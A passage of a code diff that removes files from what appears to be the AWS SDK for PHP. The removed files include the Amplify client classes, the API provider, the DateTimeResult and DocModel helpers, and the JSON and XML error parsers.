* @method \GuzzleHttp\Promise\Promise updateDomainAssociationAsync(array $args = [])
|
||||
* @method \Aws\Result updateWebhook(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateWebhookAsync(array $args = [])
|
||||
*/
|
||||
class AmplifyClient extends AwsClient {}
|
||||
@@ -1,9 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Amplify\Exception;
|
||||
|
||||
use Aws\Exception\AwsException;
|
||||
|
||||
/**
|
||||
* Represents an error interacting with the **AWS Amplify** service.
|
||||
*/
|
||||
class AmplifyException extends AwsException {}
|
||||
@@ -1,57 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\AmplifyBackend;
|
||||
|
||||
use Aws\AwsClient;
|
||||
|
||||
/**
|
||||
* This client is used to interact with the **AmplifyBackend** service.
|
||||
* @method \Aws\Result cloneBackend(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise cloneBackendAsync(array $args = [])
|
||||
* @method \Aws\Result createBackend(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createBackendAsync(array $args = [])
|
||||
* @method \Aws\Result createBackendAPI(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createBackendAPIAsync(array $args = [])
|
||||
* @method \Aws\Result createBackendAuth(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createBackendAuthAsync(array $args = [])
|
||||
* @method \Aws\Result createBackendConfig(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createBackendConfigAsync(array $args = [])
|
||||
* @method \Aws\Result createToken(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise createTokenAsync(array $args = [])
|
||||
* @method \Aws\Result deleteBackend(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteBackendAsync(array $args = [])
|
||||
* @method \Aws\Result deleteBackendAPI(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteBackendAPIAsync(array $args = [])
|
||||
* @method \Aws\Result deleteBackendAuth(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteBackendAuthAsync(array $args = [])
|
||||
* @method \Aws\Result deleteToken(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise deleteTokenAsync(array $args = [])
|
||||
* @method \Aws\Result generateBackendAPIModels(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise generateBackendAPIModelsAsync(array $args = [])
|
||||
* @method \Aws\Result getBackend(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getBackendAsync(array $args = [])
|
||||
* @method \Aws\Result getBackendAPI(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getBackendAPIAsync(array $args = [])
|
||||
* @method \Aws\Result getBackendAPIModels(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getBackendAPIModelsAsync(array $args = [])
|
||||
* @method \Aws\Result getBackendAuth(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getBackendAuthAsync(array $args = [])
|
||||
* @method \Aws\Result getBackendJob(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getBackendJobAsync(array $args = [])
|
||||
* @method \Aws\Result getToken(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise getTokenAsync(array $args = [])
|
||||
* @method \Aws\Result listBackendJobs(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise listBackendJobsAsync(array $args = [])
|
||||
* @method \Aws\Result removeAllBackends(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise removeAllBackendsAsync(array $args = [])
|
||||
* @method \Aws\Result removeBackendConfig(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise removeBackendConfigAsync(array $args = [])
|
||||
* @method \Aws\Result updateBackendAPI(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateBackendAPIAsync(array $args = [])
|
||||
* @method \Aws\Result updateBackendAuth(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateBackendAuthAsync(array $args = [])
|
||||
* @method \Aws\Result updateBackendConfig(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateBackendConfigAsync(array $args = [])
|
||||
* @method \Aws\Result updateBackendJob(array $args = [])
|
||||
* @method \GuzzleHttp\Promise\Promise updateBackendJobAsync(array $args = [])
|
||||
*/
|
||||
class AmplifyBackendClient extends AwsClient {}
|
||||
@@ -1,9 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\AmplifyBackend\Exception;
|
||||
|
||||
use Aws\Exception\AwsException;
|
||||
|
||||
/**
|
||||
* Represents an error interacting with the **AmplifyBackend** service.
|
||||
*/
|
||||
class AmplifyBackendException extends AwsException {}
|
||||
@@ -1,67 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
/**
|
||||
* Base class that is used by most API shapes
|
||||
*/
|
||||
abstract class AbstractModel implements \ArrayAccess
|
||||
{
|
||||
/** @var array */
|
||||
protected $definition;
|
||||
|
||||
/** @var ShapeMap */
|
||||
protected $shapeMap;
|
||||
|
||||
/**
|
||||
* @param array $definition Service description
|
||||
* @param ShapeMap $shapeMap Shapemap used for creating shapes
|
||||
*/
|
||||
public function __construct(array $definition, ShapeMap $shapeMap)
|
||||
{
|
||||
$this->definition = $definition;
|
||||
$this->shapeMap = $shapeMap;
|
||||
}
|
||||
|
||||
public function toArray()
|
||||
{
|
||||
return $this->definition;
|
||||
}
|
||||
|
||||
public function offsetGet($offset)
|
||||
{
|
||||
return isset($this->definition[$offset])
|
||||
? $this->definition[$offset] : null;
|
||||
}
|
||||
|
||||
public function offsetSet($offset, $value)
|
||||
{
|
||||
$this->definition[$offset] = $value;
|
||||
}
|
||||
|
||||
public function offsetExists($offset)
|
||||
{
|
||||
return isset($this->definition[$offset]);
|
||||
}
|
||||
|
||||
public function offsetUnset($offset)
|
||||
{
|
||||
unset($this->definition[$offset]);
|
||||
}
|
||||
|
||||
protected function shapeAt($key)
|
||||
{
|
||||
if (!isset($this->definition[$key])) {
|
||||
throw new \InvalidArgumentException('Expected shape definition at '
|
||||
. $key);
|
||||
}
|
||||
|
||||
return $this->shapeFor($this->definition[$key]);
|
||||
}
|
||||
|
||||
protected function shapeFor(array $definition)
|
||||
{
|
||||
return isset($definition['shape'])
|
||||
? $this->shapeMap->resolve($definition)
|
||||
: Shape::create($definition, $this->shapeMap);
|
||||
}
|
||||
}
|
||||
@@ -1,244 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
use Aws\Exception\UnresolvedApiException;
|
||||
|
||||
/**
|
||||
* API providers.
|
||||
*
|
||||
* An API provider is a function that accepts a type, service, and version and
|
||||
* returns an array of API data on success or NULL if no API data can be created
|
||||
* for the provided arguments.
|
||||
*
|
||||
* You can wrap your calls to an API provider with the
|
||||
* {@see ApiProvider::resolve} method to ensure that API data is created. If the
|
||||
* API data is not created, then the resolve() method will throw a
|
||||
* {@see Aws\Exception\UnresolvedApiException}.
|
||||
*
|
||||
* use Aws\Api\ApiProvider;
|
||||
* $provider = ApiProvider::defaultProvider();
|
||||
* // Returns an array or NULL.
|
||||
* $data = $provider('api', 's3', '2006-03-01');
|
||||
* // Returns an array or throws.
|
||||
* $data = ApiProvider::resolve($provider, 'api', 'elasticfood', '2020-01-01');
|
||||
*
|
||||
* You can compose multiple providers into a single provider using
|
||||
* {@see Aws\or_chain}. This method accepts providers as arguments and
|
||||
* returns a new function that will invoke each provider until a non-null value
|
||||
* is returned.
|
||||
*
|
||||
* $a = ApiProvider::filesystem(sys_get_temp_dir() . '/aws-beta-models');
|
||||
* $b = ApiProvider::manifest();
|
||||
*
|
||||
* $c = \Aws\or_chain($a, $b);
|
||||
* $data = $c('api', 'betaservice', '2015-08-08'); // $a handles this.
|
||||
* $data = $c('api', 's3', '2006-03-01'); // $b handles this.
|
||||
* $data = $c('api', 'invalid', '2014-12-15'); // Neither handles this.
|
||||
*/
|
||||
class ApiProvider
|
||||
{
|
||||
/** @var array A map of public API type names to their file suffix. */
|
||||
private static $typeMap = [
|
||||
'api' => 'api-2',
|
||||
'paginator' => 'paginators-1',
|
||||
'waiter' => 'waiters-2',
|
||||
'docs' => 'docs-2',
|
||||
];
|
||||
|
||||
/** @var array API manifest */
|
||||
private $manifest;
|
||||
|
||||
/** @var string The directory containing service models. */
|
||||
private $modelsDir;
|
||||
|
||||
/**
|
||||
* Resolves an API provider and ensures a non-null return value.
|
||||
*
|
||||
* @param callable $provider Provider function to invoke.
|
||||
* @param string $type Type of data ('api', 'waiter', 'paginator').
|
||||
* @param string $service Service name.
|
||||
* @param string $version API version.
|
||||
*
|
||||
* @return array
|
||||
* @throws UnresolvedApiException
|
||||
*/
|
||||
public static function resolve(callable $provider, $type, $service, $version)
|
||||
{
|
||||
// Execute the provider and return the result, if there is one.
|
||||
$result = $provider($type, $service, $version);
|
||||
if (is_array($result)) {
|
||||
if (!isset($result['metadata']['serviceIdentifier'])) {
|
||||
$result['metadata']['serviceIdentifier'] = $service;
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
|
||||
// Throw an exception with a message depending on the inputs.
|
||||
if (!isset(self::$typeMap[$type])) {
|
||||
$msg = "The type must be one of: " . implode(', ', self::$typeMap);
|
||||
} elseif ($service) {
|
||||
$msg = "The {$service} service does not have version: {$version}.";
|
||||
} else {
|
||||
$msg = "You must specify a service name to retrieve its API data.";
|
||||
}
|
||||
|
||||
throw new UnresolvedApiException($msg);
|
||||
}
|
||||
|
||||
/**
|
||||
* Default SDK API provider.
|
||||
*
|
||||
* This provider loads pre-built manifest data from the `data` directory.
|
||||
*
|
||||
* @return self
|
||||
*/
|
||||
public static function defaultProvider()
|
||||
{
|
||||
return new self(__DIR__ . '/../data', \Aws\manifest());
|
||||
}
|
||||
|
||||
/**
|
||||
* Loads API data after resolving the version to the latest, compatible,
|
||||
* available version based on the provided manifest data.
|
||||
*
|
||||
* Manifest data is essentially an associative array of service names to
|
||||
* associative arrays of API version aliases.
|
||||
*
|
||||
* [
|
||||
* ...
|
||||
* 'ec2' => [
|
||||
* 'latest' => '2014-10-01',
|
||||
* '2014-10-01' => '2014-10-01',
|
||||
* '2014-09-01' => '2014-10-01',
|
||||
* '2014-06-15' => '2014-10-01',
|
||||
* ...
|
||||
* ],
|
||||
* 'ecs' => [...],
|
||||
* 'elasticache' => [...],
|
||||
* ...
|
||||
* ]
|
||||
*
|
||||
* @param string $dir Directory containing service models.
|
||||
* @param array $manifest The API version manifest data.
|
||||
*
|
||||
* @return self
|
||||
*/
|
||||
public static function manifest($dir, array $manifest)
|
||||
{
|
||||
return new self($dir, $manifest);
|
||||
}
|
||||
|
||||
/**
|
||||
* Loads API data from the specified directory.
|
||||
*
|
||||
* If "latest" is specified as the version, this provider must glob the
|
||||
* directory to find which is the latest available version.
|
||||
*
|
||||
* @param string $dir Directory containing service models.
|
||||
*
|
||||
* @return self
|
||||
* @throws \InvalidArgumentException if the provided `$dir` is invalid.
|
||||
*/
|
||||
public static function filesystem($dir)
|
||||
{
|
||||
return new self($dir);
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieves a list of valid versions for the specified service.
|
||||
*
|
||||
* @param string $service Service name
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function getVersions($service)
|
||||
{
|
||||
if (!isset($this->manifest)) {
|
||||
$this->buildVersionsList($service);
|
||||
}
|
||||
|
||||
if (!isset($this->manifest[$service]['versions'])) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return array_values(array_unique($this->manifest[$service]['versions']));
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute the provider.
|
||||
*
|
||||
* @param string $type Type of data ('api', 'waiter', 'paginator').
|
||||
* @param string $service Service name.
|
||||
* @param string $version API version.
|
||||
*
|
||||
* @return array|null
|
||||
*/
|
||||
public function __invoke($type, $service, $version)
|
||||
{
|
||||
// Resolve the type or return null.
|
||||
if (isset(self::$typeMap[$type])) {
|
||||
$type = self::$typeMap[$type];
|
||||
} else {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Resolve the version or return null.
|
||||
if (!isset($this->manifest)) {
|
||||
$this->buildVersionsList($service);
|
||||
}
|
||||
|
||||
if (!isset($this->manifest[$service]['versions'][$version])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$version = $this->manifest[$service]['versions'][$version];
|
||||
$path = "{$this->modelsDir}/{$service}/{$version}/{$type}.json";
|
||||
|
||||
try {
|
||||
return \Aws\load_compiled_json($path);
|
||||
} catch (\InvalidArgumentException $e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $modelsDir Directory containing service models.
|
||||
* @param array $manifest The API version manifest data.
|
||||
*/
|
||||
private function __construct($modelsDir, array $manifest = null)
|
||||
{
|
||||
$this->manifest = $manifest;
|
||||
$this->modelsDir = rtrim($modelsDir, '/');
|
||||
if (!is_dir($this->modelsDir)) {
|
||||
throw new \InvalidArgumentException(
|
||||
"The specified models directory, {$modelsDir}, was not found."
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the versions list for the specified service by globbing the dir.
|
||||
*/
|
||||
private function buildVersionsList($service)
|
||||
{
|
||||
$dir = "{$this->modelsDir}/{$service}/";
|
||||
|
||||
if (!is_dir($dir)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Get versions, remove . and .., and sort in descending order.
|
||||
$results = array_diff(scandir($dir, SCANDIR_SORT_DESCENDING), ['..', '.']);
|
||||
|
||||
if (!$results) {
|
||||
$this->manifest[$service] = ['versions' => []];
|
||||
} else {
|
||||
$this->manifest[$service] = [
|
||||
'versions' => [
|
||||
'latest' => $results[0]
|
||||
]
|
||||
];
|
||||
$this->manifest[$service]['versions'] += array_combine($results, $results);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,102 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace Aws\Api;
|
||||
|
||||
use Aws\Api\Parser\Exception\ParserException;
|
||||
use Exception;
|
||||
|
||||
/**
|
||||
* DateTime overrides that make DateTime work more seamlessly as a string,
|
||||
* with JSON documents, and with JMESPath.
|
||||
*/
|
||||
class DateTimeResult extends \DateTime implements \JsonSerializable
|
||||
{
|
||||
/**
|
||||
* Create a new DateTimeResult from a unix timestamp.
|
||||
* The Unix epoch (or Unix time or POSIX time or Unix
|
||||
* timestamp) is the number of seconds that have elapsed since
|
||||
* January 1, 1970 (midnight UTC/GMT).
|
||||
* @param $unixTimestamp
|
||||
*
|
||||
* @return DateTimeResult
|
||||
* @throws Exception
|
||||
*/
|
||||
public static function fromEpoch($unixTimestamp)
|
||||
{
|
||||
return new self(gmdate('c', $unixTimestamp));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param $iso8601Timestamp
|
||||
*
|
||||
* @return DateTimeResult
|
||||
*/
|
||||
public static function fromISO8601($iso8601Timestamp)
|
||||
{
|
||||
if (is_numeric($iso8601Timestamp) || !is_string($iso8601Timestamp)) {
|
||||
throw new ParserException('Invalid timestamp value passed to DateTimeResult::fromISO8601');
|
||||
}
|
||||
return new DateTimeResult($iso8601Timestamp);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a new DateTimeResult from an unknown timestamp.
|
||||
*
|
||||
* @param $timestamp
|
||||
*
|
||||
* @return DateTimeResult
|
||||
* @throws ParserException|Exception
|
||||
*/
|
||||
public static function fromTimestamp($timestamp, $expectedFormat = null)
|
||||
{
|
||||
if (empty($timestamp)) {
|
||||
return self::fromEpoch(0);
|
||||
}
|
||||
|
||||
if (!(is_string($timestamp) || is_numeric($timestamp))) {
|
||||
throw new ParserException('Invalid timestamp value passed to DateTimeResult::fromTimestamp');
|
||||
}
|
||||
|
||||
try {
|
||||
if ($expectedFormat == 'iso8601') {
|
||||
try {
|
||||
return self::fromISO8601($timestamp);
|
||||
} catch (Exception $exception) {
|
||||
return self::fromEpoch($timestamp);
|
||||
}
|
||||
} else if ($expectedFormat == 'unixTimestamp') {
|
||||
try {
|
||||
return self::fromEpoch($timestamp);
|
||||
} catch (Exception $exception) {
|
||||
return self::fromISO8601($timestamp);
|
||||
}
|
||||
} else if (\Aws\is_valid_epoch($timestamp)) {
|
||||
return self::fromEpoch($timestamp);
|
||||
}
|
||||
return self::fromISO8601($timestamp);
|
||||
} catch (Exception $exception) {
|
||||
throw new ParserException('Invalid timestamp value passed to DateTimeResult::fromTimestamp');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Serialize the DateTimeResult as an ISO 8601 date string.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function __toString()
|
||||
{
|
||||
return $this->format('c');
|
||||
}
|
||||
|
||||
/**
|
||||
* Serialize the date as an ISO 8601 date when serializing as JSON.
|
||||
*
|
||||
* @return mixed|string
|
||||
*/
|
||||
public function jsonSerialize()
|
||||
{
|
||||
return (string) $this;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,128 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api;
|
||||
|
||||
/**
|
||||
* Encapsulates the documentation strings for a given service-version and
|
||||
* provides methods for extracting the desired parts related to a service,
|
||||
* operation, error, or shape (i.e., parameter).
|
||||
*/
|
||||
class DocModel
|
||||
{
|
||||
/** @var array */
|
||||
private $docs;
|
||||
|
||||
/**
|
||||
* @param array $docs
|
||||
*
|
||||
* @throws \RuntimeException
|
||||
*/
|
||||
public function __construct(array $docs)
|
||||
{
|
||||
if (!extension_loaded('tidy')) {
|
||||
throw new \RuntimeException('The "tidy" PHP extension is required.');
|
||||
}
|
||||
|
||||
$this->docs = $docs;
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert the doc model to an array.
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function toArray()
|
||||
{
|
||||
return $this->docs;
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieves documentation about the service.
|
||||
*
|
||||
* @return null|string
|
||||
*/
|
||||
public function getServiceDocs()
|
||||
{
|
||||
return isset($this->docs['service']) ? $this->docs['service'] : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieves documentation about an operation.
|
||||
*
|
||||
* @param string $operation Name of the operation
|
||||
*
|
||||
* @return null|string
|
||||
*/
|
||||
public function getOperationDocs($operation)
|
||||
{
|
||||
return isset($this->docs['operations'][$operation])
|
||||
? $this->docs['operations'][$operation]
|
||||
: null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieves documentation about an error.
|
||||
*
|
||||
* @param string $error Name of the error
|
||||
*
|
||||
* @return null|string
|
||||
*/
|
||||
public function getErrorDocs($error)
|
||||
{
|
||||
return isset($this->docs['shapes'][$error]['base'])
|
||||
? $this->docs['shapes'][$error]['base']
|
||||
: null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Retrieves documentation about a shape, specific to the context.
|
||||
*
|
||||
* @param string $shapeName Name of the shape.
|
||||
* @param string $parentName Name of the parent/context shape.
|
||||
* @param string $ref Name used by the context to reference the shape.
|
||||
*
|
||||
* @return null|string
|
||||
*/
|
||||
public function getShapeDocs($shapeName, $parentName, $ref)
|
||||
{
|
||||
if (!isset($this->docs['shapes'][$shapeName])) {
|
||||
return '';
|
||||
}
|
||||
|
||||
$result = '';
|
||||
$d = $this->docs['shapes'][$shapeName];
|
||||
if (isset($d['refs']["{$parentName}\$${ref}"])) {
|
||||
$result = $d['refs']["{$parentName}\$${ref}"];
|
||||
} elseif (isset($d['base'])) {
|
||||
$result = $d['base'];
|
||||
}
|
||||
|
||||
if (isset($d['append'])) {
|
||||
$result .= $d['append'];
|
||||
}
|
||||
|
||||
return $this->clean($result);
|
||||
}
|
||||
|
||||
private function clean($content)
|
||||
{
|
||||
if (!$content) {
|
||||
return '';
|
||||
}
|
||||
|
||||
$tidy = new \tidy();
|
||||
$tidy->parseString($content, [
|
||||
'indent' => true,
|
||||
'doctype' => 'omit',
|
||||
'output-html' => true,
|
||||
'show-body-only' => true,
|
||||
'drop-empty-paras' => true,
|
||||
'drop-font-tags' => true,
|
||||
'drop-proprietary-attributes' => true,
|
||||
'hide-comments' => true,
|
||||
'logical-emphasis' => true
|
||||
]);
|
||||
$tidy->cleanRepair();
|
||||
|
||||
return (string) $content;
|
||||
}
|
||||
}
|
||||
@@ -1,95 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\ErrorParser;
|
||||
|
||||
use Aws\Api\Parser\MetadataParserTrait;
|
||||
use Aws\Api\Parser\PayloadParserTrait;
|
||||
use Aws\Api\Service;
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\CommandInterface;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
|
||||
abstract class AbstractErrorParser
|
||||
{
|
||||
use MetadataParserTrait;
|
||||
use PayloadParserTrait;
|
||||
|
||||
/**
|
||||
* @var Service
|
||||
*/
|
||||
protected $api;
|
||||
|
||||
/**
|
||||
* @param Service $api
|
||||
*/
|
||||
public function __construct(Service $api = null)
|
||||
{
|
||||
$this->api = $api;
|
||||
}
|
||||
|
||||
abstract protected function payload(
|
||||
ResponseInterface $response,
|
||||
StructureShape $member
|
||||
);
|
||||
|
||||
protected function extractPayload(
|
||||
StructureShape $member,
|
||||
ResponseInterface $response
|
||||
) {
|
||||
if ($member instanceof StructureShape) {
|
||||
// Structure members parse top-level data into a specific key.
|
||||
return $this->payload($response, $member);
|
||||
} else {
|
||||
// Streaming data is just the stream from the response body.
|
||||
return $response->getBody();
|
||||
}
|
||||
}
|
||||
|
||||
protected function populateShape(
|
||||
array &$data,
|
||||
ResponseInterface $response,
|
||||
CommandInterface $command = null
|
||||
) {
|
||||
$data['body'] = [];
|
||||
|
||||
if (!empty($command) && !empty($this->api)) {
|
||||
|
||||
// If modeled error code is indicated, check for known error shape
|
||||
if (!empty($data['code'])) {
|
||||
|
||||
$errors = $this->api->getOperation($command->getName())->getErrors();
|
||||
foreach ($errors as $key => $error) {
|
||||
|
||||
// If error code matches a known error shape, populate the body
|
||||
if ($data['code'] == $error['name']
|
||||
&& $error instanceof StructureShape
|
||||
) {
|
||||
$modeledError = $error;
|
||||
$data['body'] = $this->extractPayload(
|
||||
$modeledError,
|
||||
$response
|
||||
);
|
||||
$data['error_shape'] = $modeledError;
|
||||
|
||||
foreach ($error->getMembers() as $name => $member) {
|
||||
switch ($member['location']) {
|
||||
case 'header':
|
||||
$this->extractHeader($name, $member, $response, $data['body']);
|
||||
break;
|
||||
case 'headers':
|
||||
$this->extractHeaders($name, $member, $response, $data['body']);
|
||||
break;
|
||||
case 'statusCode':
|
||||
$this->extractStatus($name, $response, $data['body']);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $data;
|
||||
}
|
||||
}
|
||||
@@ -1,38 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\ErrorParser;
|
||||
|
||||
use Aws\Api\Parser\PayloadParserTrait;
|
||||
use Aws\Api\StructureShape;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
|
||||
/**
|
||||
* Provides basic JSON error parsing functionality.
|
||||
*/
|
||||
trait JsonParserTrait
|
||||
{
|
||||
use PayloadParserTrait;
|
||||
|
||||
private function genericHandler(ResponseInterface $response)
|
||||
{
|
||||
$code = (string) $response->getStatusCode();
|
||||
|
||||
return [
|
||||
'request_id' => (string) $response->getHeaderLine('x-amzn-requestid'),
|
||||
'code' => null,
|
||||
'message' => null,
|
||||
'type' => $code[0] == '4' ? 'client' : 'server',
|
||||
'parsed' => $this->parseJson($response->getBody(), $response)
|
||||
];
|
||||
}
|
||||
|
||||
protected function payload(
|
||||
ResponseInterface $response,
|
||||
StructureShape $member
|
||||
) {
|
||||
$jsonBody = $this->parseJson($response->getBody(), $response);
|
||||
|
||||
if ($jsonBody) {
|
||||
return $this->parser->parse($member, $jsonBody);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\ErrorParser;
|
||||
|
||||
use Aws\Api\Parser\JsonParser;
|
||||
use Aws\Api\Service;
|
||||
use Aws\CommandInterface;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
|
||||
/**
|
||||
* Parsers JSON-RPC errors.
|
||||
*/
|
||||
class JsonRpcErrorParser extends AbstractErrorParser
|
||||
{
|
||||
use JsonParserTrait;
|
||||
|
||||
private $parser;
|
||||
|
||||
public function __construct(Service $api = null, JsonParser $parser = null)
|
||||
{
|
||||
parent::__construct($api);
|
||||
$this->parser = $parser ?: new JsonParser();
|
||||
}
|
||||
|
||||
public function __invoke(
|
||||
ResponseInterface $response,
|
||||
CommandInterface $command = null
|
||||
) {
|
||||
$data = $this->genericHandler($response);
|
||||
|
||||
// Make the casing consistent across services.
|
||||
if ($data['parsed']) {
|
||||
$data['parsed'] = array_change_key_case($data['parsed']);
|
||||
}
|
||||
|
||||
if (isset($data['parsed']['__type'])) {
|
||||
$parts = explode('#', $data['parsed']['__type']);
|
||||
$data['code'] = isset($parts[1]) ? $parts[1] : $parts[0];
|
||||
$data['message'] = isset($data['parsed']['message'])
|
||||
? $data['parsed']['message']
|
||||
: null;
|
||||
}
|
||||
|
||||
$this->populateShape($data, $response, $command);
|
||||
|
||||
return $data;
|
||||
}
|
||||
}
|
||||
@@ -1,58 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\ErrorParser;
|
||||
|
||||
use Aws\Api\Parser\JsonParser;
|
||||
use Aws\Api\Service;
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\CommandInterface;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
|
||||
/**
|
||||
* Parses JSON-REST errors.
|
||||
*/
|
||||
class RestJsonErrorParser extends AbstractErrorParser
|
||||
{
|
||||
use JsonParserTrait;
|
||||
|
||||
private $parser;
|
||||
|
||||
public function __construct(Service $api = null, JsonParser $parser = null)
|
||||
{
|
||||
parent::__construct($api);
|
||||
$this->parser = $parser ?: new JsonParser();
|
||||
}
|
||||
|
||||
public function __invoke(
|
||||
ResponseInterface $response,
|
||||
CommandInterface $command = null
|
||||
) {
|
||||
$data = $this->genericHandler($response);
|
||||
|
||||
// Merge in error data from the JSON body
|
||||
if ($json = $data['parsed']) {
|
||||
$data = array_replace($data, $json);
|
||||
}
|
||||
|
||||
// Correct error type from services like Amazon Glacier
|
||||
if (!empty($data['type'])) {
|
||||
$data['type'] = strtolower($data['type']);
|
||||
}
|
||||
|
||||
// Retrieve the error code from services like Amazon Elastic Transcoder
|
||||
if ($code = $response->getHeaderLine('x-amzn-errortype')) {
|
||||
$colon = strpos($code, ':');
|
||||
$data['code'] = $colon ? substr($code, 0, $colon) : $code;
|
||||
}
|
||||
|
||||
// Retrieve error message directly
|
||||
$data['message'] = isset($data['parsed']['message'])
|
||||
? $data['parsed']['message']
|
||||
: (isset($data['parsed']['Message'])
|
||||
? $data['parsed']['Message']
|
||||
: null);
|
||||
|
||||
$this->populateShape($data, $response, $command);
|
||||
|
||||
return $data;
|
||||
}
|
||||
}
|
||||
@@ -1,111 +0,0 @@
|
||||
<?php
|
||||
namespace Aws\Api\ErrorParser;
|
||||
|
||||
use Aws\Api\Parser\PayloadParserTrait;
|
||||
use Aws\Api\Parser\XmlParser;
|
||||
use Aws\Api\Service;
|
||||
use Aws\Api\StructureShape;
|
||||
use Aws\CommandInterface;
|
||||
use Psr\Http\Message\ResponseInterface;
|
||||
|
||||
/**
|
||||
* Parses XML errors.
|
||||
*/
|
||||
class XmlErrorParser extends AbstractErrorParser
|
||||
{
|
||||
use PayloadParserTrait;
|
||||
|
||||
protected $parser;
|
||||
|
||||
public function __construct(Service $api = null, XmlParser $parser = null)
|
||||
{
|
||||
parent::__construct($api);
|
||||
$this->parser = $parser ?: new XmlParser();
|
||||
}
|
||||
|
||||
public function __invoke(
|
||||
ResponseInterface $response,
|
||||
CommandInterface $command = null
|
||||
) {
|
||||
$code = (string) $response->getStatusCode();
|
||||
|
||||
$data = [
|
||||
'type' => $code[0] == '4' ? 'client' : 'server',
|
||||
'request_id' => null,
|
||||
'code' => null,
|
||||
'message' => null,
|
||||
'parsed' => null
|
||||
];
|
||||
|
||||
$body = $response->getBody();
|
||||
if ($body->getSize() > 0) {
|
||||
$this->parseBody($this->parseXml($body, $response), $data);
|
||||
} else {
|
||||
$this->parseHeaders($response, $data);
|
||||
}
|
||||
|
||||
$this->populateShape($data, $response, $command);
|
||||
|
||||
return $data;
|
||||
}
|
||||
|
||||
private function parseHeaders(ResponseInterface $response, array &$data)
|
||||
{
|
||||
if ($response->getStatusCode() == '404') {
|
||||
$data['code'] = 'NotFound';
|
||||
}
|
||||
|
||||
$data['message'] = $response->getStatusCode() . ' '
|
||||
. $response->getReasonPhrase();
|
||||
|
||||
if ($requestId = $response->getHeaderLine('x-amz-request-id')) {
|
||||
$data['request_id'] = $requestId;
|
||||
$data['message'] .= " (Request-ID: $requestId)";
|
||||
}
|
||||
}
|
||||
|
||||
private function parseBody(\SimpleXMLElement $body, array &$data)
|
||||
{
|
||||
$data['parsed'] = $body;
|
||||
$prefix = $this->registerNamespacePrefix($body);
|
||||
|
||||
if ($tempXml = $body->xpath("//{$prefix}Code[1]")) {
|
||||
$data['code'] = (string) $tempXml[0];
|
||||
}
|
||||
|
||||
if ($tempXml = $body->xpath("//{$prefix}Message[1]")) {
|
||||
$data['message'] = (string) $tempXml[0];
|
||||
}
|
||||
|
||||
$tempXml = $body->xpath("//{$prefix}RequestId[1]");
|
||||
if (isset($tempXml[0])) {
|
||||
$data['request_id'] = (string)$tempXml[0];
|
||||
}
|
||||
}
|
||||
|
||||
protected function registerNamespacePrefix(\SimpleXMLElement $element)
|
||||
{
|
||||
$namespaces = $element->getDocNamespaces();
|
||||
if (!isset($namespaces[''])) {
|
||||
return '';
|
||||
}
